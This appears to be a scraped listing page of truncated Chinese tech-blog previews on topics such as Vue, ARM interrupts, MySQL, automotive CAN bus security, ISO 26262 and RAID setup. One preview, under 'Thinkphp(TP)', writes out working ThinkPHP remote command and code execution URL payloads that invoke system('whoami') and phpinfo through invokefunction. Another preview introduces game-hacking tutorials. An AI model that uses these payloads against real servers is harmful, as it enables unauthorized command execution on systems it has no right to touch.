一. 前言 上一篇文章我们学习了 watch 的基础知识,了解了它的基本使用方法及注意事项,本篇文章我们继续了解在Vue 中 响应式监听 watch 的妙用。了解 watch 的基础使用请参考上一篇文章: 详解 Vue 中 Watch 的使用方法及注意事项https://bl…

ARM单片机的中断详细过程(重要)

ARM单片机的中断详细过程(重要) 一、ARM异常中断 ARM的异常(中断源)总共分为三类(八种): 三类: (1)执行指令引起的直接异常:软件中断&#xff…

0920作业+思维导图

一、 写一个shell脚本,将以下内容放到脚本中: 在家目录下创建目录文件,dirdir下创建dir1和dir2把当前目录下的所有文件拷贝到dir1中,把当前目录下的所有脚本文件拷贝到dir2中把dir2打包并压缩为dir2.tar.xz再把dir2.tar.xz移动到…

13.第二阶段x86游戏实战2-动态模块地址

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 本次游戏没法给 内容参考于:微尘网络安全 本人写的内容纯属胡编乱造,全都是合成造假,仅仅只是为了娱乐,请不要…

LabVIEW项目编码器选择

在LabVIEW项目中,选择增量式(Incremental Encoder)和绝对式(Absolute Encoder)编码器取决于项目的具体需求。增量式编码器和绝对式编码器在工作原理、应用场景、精度和成本等方面存在显著差异。以下从多方面详细阐述两…

MySql数据库---单表查询,高级查询,外键约束,多表关系,建表原则

思维导图 模糊查询 select * from 表名 where 列名 like 匹配符; 符号: _ 表示一个任意字符 符号: % 表示0或者多个任意字符 # (1)查询商品名称含有"香"字的所有商品信息; select * from product where pname like %香%; # &#x…

【车联网安全】车端知识调研

一、CAN总线: 1、定义: CAN 总线相当于汽车的神经网络,连接车内各控制系统,其通信采用广播机制,各连接部件均可收发控制消息,通信效率高,可确保通信实时性。当前市场上的汽车至少拥有一个CAN网络&#xff0…

Thinkphp(TP)

1.远程命令执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]system&vars[1][]whoami 2.远程代码执行 /index.php?sindex/think\app/invokefunction&functioncall_user_func_array&vars[0]phpinfo&vars[1][]…

多模态文档编辑器flowmix/docx,9月更新复盘!

嗨, 大家好, 我是徐小夕. 之前一直在社区分享零代码&低代码的技术实践,也陆陆续续设计并开发了多款可视化搭建产品,比如: H5-Dooring(页面可视化搭建平台)V6.Dooring(可视化大屏搭建平台)橙…

js发送邮件至指定邮箱功能实现方式和技巧?

js发送邮件至指定邮箱的教程?怎么使用Node.js发信? 无论是用户反馈、订单确认还是密码重置,js发送邮件至指定邮箱的需求无处不在。AokSend将深入探讨js发送邮件至指定邮箱的实现方式和技巧,帮助开发者更好地理解和应用这一功能。…

html TAB、table生成

1. 代码 <!DOCTYPE html> <head> <meta charset"UTF-8"> <title>Dynamic Tabs with Table Data</title> <style> /* 简单的样式 */ .tab-content { display: none; border: 10px solid #ccc; padding: 30px; mar…

道路车辆功能安全 ISO 26262标准(3)—概念阶段

写在前面 本系列文章主要讲解道路车辆功能安全ISO26262标准的相关知识&#xff0c;希望能帮助更多的同学认识和了解功能安全标准。 若有相关问题&#xff0c;欢迎评论沟通&#xff0c;共同进步。(*^▽^*) 1. 道路车辆功能安全ISO 26262标准 3. ISO 26262-3 概念阶段 我们来…

浙江欧瑞雅装饰材料有限公司:全屋定制,为爱家增添无限温馨!

浙江欧瑞雅装饰材料有限公司&#xff1a;全屋定制&#xff0c;为爱家增添无限温馨&#xff01;在追求生活品质与个性化的今天&#xff0c;家已不仅仅是一个居住的空间&#xff0c;更是情感的寄托和个性的展现。浙江欧瑞雅装饰材料有限公司&#xff0c;以其专业的全屋定制服务&a…

论文阅读 - SWATTING Spambots: Real-time Detection of Malicious Bots on X

https://web.archive.org/web/20240523035749id_/https://dl.acm.org/doi/pdf/10.1145/3589335.3651564 目录 ABSTRACT INTRODUCTION METHODOLOGY 3 RESULTS ABSTRACT 在 X&#xff08;前身为 Twitter&#xff09;等社交网络平台上&#xff0c;垃圾邮件机器人的活动日益…

html中为div添加展开与收起功能(div折叠)

1、添加样式 <style type"text/css">.mask {position: absolute;bottom: -5px;color: #4b83f0;font-weight: 700;font-size: 14px;text-align: center;height: 80px;left: 0;right: 0;background-image: -webkit-gradient(linear, left top, left bottom, from…

机械零件检测系统源码分享

机械零件检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vis…

零基础入门AI大模型应用开发——第三天:使用python实现问答机器人

一、简介 问答机器人是一种能够理解用户提问并提供相关答案的程序。它可以用于各种场景&#xff0c;如客户支持、在线教育、信息检索等。用户通过自然语言输入问题&#xff0c;机器人则通过分析问题并检索相关信息来提供回答。 使用什么技术实现的&#xff1f; 自然语言处理&…

电源设计的艺术:从底层逻辑到工程实践

在电子工程的世界里&#xff0c;电源设计是核心中的核心。它不仅是电子设备的能量源泉&#xff0c;更是整个系统稳定运行的基石。随着科技的不断进步&#xff0c;电源设计的要求也越来越高&#xff0c;从效率、稳定性到体积、成本&#xff0c;每一个维度都是工程师们不断追求的…

Github 2024-09-21Rust开源项目日报 Top10

根据Github Trendings的统计,今日(2024-09-21统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10Move项目1JavaScript项目1Deno: 现代JavaScript和TypeScript运行时 创建周期:2118 天开发语言:Rust, JavaScript协议类型:MIT Lic…

LSI SAS 9361-8i和SAS3008 12 gb / s PCIe 3.0 RAID 阵列卡配置

LSI SAS 9361-8i和SAS3008 12 gb / s PCIe 3.0 RAID 阵列卡配置 开机&#xff0c;BIOS自检&#xff0c;可以看到设备硬盘信息&#xff0c;以及提示CtrlR进入Raid卡配置界面。 按CtrlR进入Raid卡配置界面&#xff0c;一般来说使用CtrlR进入Raid卡配置界面的Raid卡配置都通用。 …